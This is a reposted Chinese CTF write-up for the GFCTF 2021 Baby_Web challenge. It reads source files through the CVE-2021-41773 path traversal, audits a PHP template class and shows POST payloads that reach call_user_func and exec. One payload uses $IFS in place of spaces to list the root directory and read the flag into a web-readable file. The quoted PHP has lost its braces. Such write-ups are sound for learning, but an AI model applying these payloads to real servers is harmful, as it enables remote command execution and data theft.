[GFCTF 2021]Baby_Web(复现)

Posted M1kael

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[GFCTF 2021]Baby_Web(复现)相关的知识,希望对你有一定的参考价值。

打开环境

所以要我们读取上层目录的某个文件 所以我想应该会存在任意文件读取和路径穿越漏洞
然后标签有CVE-2021-41773
所以直接github拿到这个漏洞的
工具
payload

我们来读一下index.php.txt

<?php
error_reporting(0);
define("main","main");
include "Class.php";
$temp = new Temp($_POST);
$temp->display($_GET['filename']);

?>

我们取读取Class.php 发现直接读不行 和之前一样Class.php.txt

<?php
defined('main') or die("no!!");
Class Temp
    private $date=['version'=>'1.0','img'=>'https://www.apache.org/img/asf-estd-1999-logo.jpg'];
    private $template;
    public function __construct($data)

        $this->date = array_merge($this->date,$data);
    
    public function getTempName($template,$dir)
        if($dir === 'admin')
            $this->template = str_replace('..','','./template/admin/'.$template);
            if(!is_file($this->template))
                die("no!!");
            
        
        else
            $this->template = './template/index.html';
        
    
    public function display($template,$space='')

        extract($this->date);
        $this->getTempName($template,$space);
        include($this->template);
    
    public function listdata($_params)
        $system = [
            'db' => '',
            'app' => '',
            'num' => '',
            'sum' => '',
            'form' => '',
            'page' => '',
            'site' => '',
            'flag' => '',
            'not_flag' => '',
            'show_flag' => '',
            'more' => '',
            'catid' => '',
            'field' => '',
            'order' => '',
            'space' => '',
            'table' => '',
            'table_site' => '',
            'total' => '',
            'join' => '',
            'on' => '',
            'action' => '',
            'return' => '',
            'sbpage' => '',
            'module' => '',
            'urlrule' => '',
            'pagesize' => '',
            'pagefile' => '',
        ];

        $param = $where = [];

        $_params = trim($_params);

        $params = explode(' ', $_params);
        if (in_array($params[0], ['list','function'])) 
            $params[0] = 'action='.$params[0];
        
        foreach ($params as $t) 
            $var = substr($t, 0, strpos($t, '='));
            $val = substr($t, strpos($t, '=') + 1);
            if (!$var) 
                continue;
            
            if (isset($system[$var]))  
                $system[$var] = $val;
             else 
                $param[$var] = $val; 
            
        
        // action
        switch ($system['action']) 

            case 'function':

                if (!isset($param['name'])) 
                    return  'hacker!!';
                 elseif (!function_exists($param['name'])) 
                    return 'hacker!!';
                

                $force = $param['force'];
                if (!$force) 
                    $p = [];
                    foreach ($param as $var => $t) 
                        if (strpos($var, 'param') === 0) 
                            $n = intval(substr($var, 5));
                            $p[$n] = $t;
                        
                    
                    if ($p) 

                        $rt = call_user_func_array($param['name'], $p);
                     else 
                        $rt = call_user_func($param['name']);
                    
                    return $rt;
                else
                    return null;
                
            case 'list':
                return json_encode($this->date);
        
        return null;
    

在index.php中get传参
它对我们传参的值进行display方法

public function display($template,$space='')

        extract($this->date);
        $this->getTempName($template,$space);
        include($this->template);
    

然后经过extract,再进行getTempName方法

 public function getTempName($template,$dir)
        if($dir === 'admin')
            $this->template = str_replace('..','','./template/admin/'.$template);
            if(!is_file($this->template))
                die("no!!");
            
        

这里给了个目录/template/admin/
我们试着直接访问一下

我们会发现 它会调用listdata方法
然后我们在listadta方法中发现危险函数

$rt = call_user_func_array($param['name'], $p);
$rt = call_user_func($param['name']);

方法一:
利用call_user_func
所以我们来梳理一下思路

我们要调用这个函数,我们需要调用listdata方法,要这个listdata方法就需要进入template/admin/index.html这个页面,就需要先让dir === ‘admin’,所以就是让space=admin,然后$template=index.html,就是filename=index.html,但是调用listdata方法 我们也需要传参mod变量

带着走一遍代码审计吧

$_params = trim($_params);//删除两侧多余的空格
$params = explode(' ', $_params);//以空格分隔成数组
        if (in_array($params[0], ['list','function'])) 
            $params[0] = 'action='.$params[0];
        
        foreach ($params as $t) //遍历新⽣成的数组 
            $var = substr($t, 0, strpos($t, '='));//key
            $val = substr($t, strpos($t, '=') + 1);//value
            if (!$var) 
                continue;
            
            if (isset($system[$var])) 
                $system[$var] = $val;
             else 
                $param[$var] = $val;//数组定义
            
        

这就是数组定义的流程

switch ($system['action']) //把key为action的值来比较

            case 'function':

                if (!isset($param['name'])) //必须有key为name
                    return  'hacker!!';
                 elseif (!function_exists($param['name']))//还必须被定义
                 
                    return 'hacker!!';
                

                $force = $param['force'];
                if (!$force) 
                    $p = [];//我们只需要这一步定义
                    foreach ($param as $var => $t) 
                        if (strpos($var, 'param') === 0) 
                            $n = intval(substr($var, 5));
                            $p[$n] = $t;
                        
                    
                  if ($p) 
                       $rt = call_user_func_array($param['name'], $p);
                     else 
                        $rt = call_user_func($param['name']);//利用的key为name的value值
                    

所以payload很简单了

URL?filename=index.html

(POST)space=admin&mod=m1kael action=function name=phpinfo

找到flag

方法二
利用call_user_func_array
通过上个函数的利用我们发现exec未被禁用
我们可以利用这个函数 唯一不同的地方就是

if (!$force) 
                    $p = [];//我们只需要这一步定义
                    foreach ($param as $var => $t) 
                        if (strpos($var, 'param') === 0) 
                            $n = intval(substr($var, 5));
                            $p[$n] = $t;
                        
                    

还需要数组的一个key为param它的value为我们的命令
name的value值为exec即可进行命令执行
但是之前分割数组的时候过滤了空格 所以命令执行中的空格可以用$IFS绕过
所以来试试

URL?filename=index.html

(POST)space=admin&mod=m1kael action=function name=exec param=ls$IFS/>/var/www/html/a

然后我们再访问a 成功

继续得到flag

URL?filename=index.html

(POST)space=admin&mod=m1kael action=function name=exec param=cat$IFS/f11111111aaaagggg>/var/www/html/a


知识点:这道题其实就一个cve的利用+php代码审计
希望这篇文章能够帮助你!

以上是关于[GFCTF 2021]Baby_Web(复现)的主要内容,如果未能解决你的问题,请参考以下文章

pytorch 笔记: 复现论文 Stochastic Weight Completion for Road Networks using Graph Convolutional Networks(代

DASCTF X GFCTF 2022十月挑战赛 WriteUp

DASCTF X GFCTF 2022十月挑战赛 Writeup

DASCTF X GFCTF 2022十月挑战赛 Writeup

XCTF练习题---WEB---baby_web

攻防世界:WEB——baby_web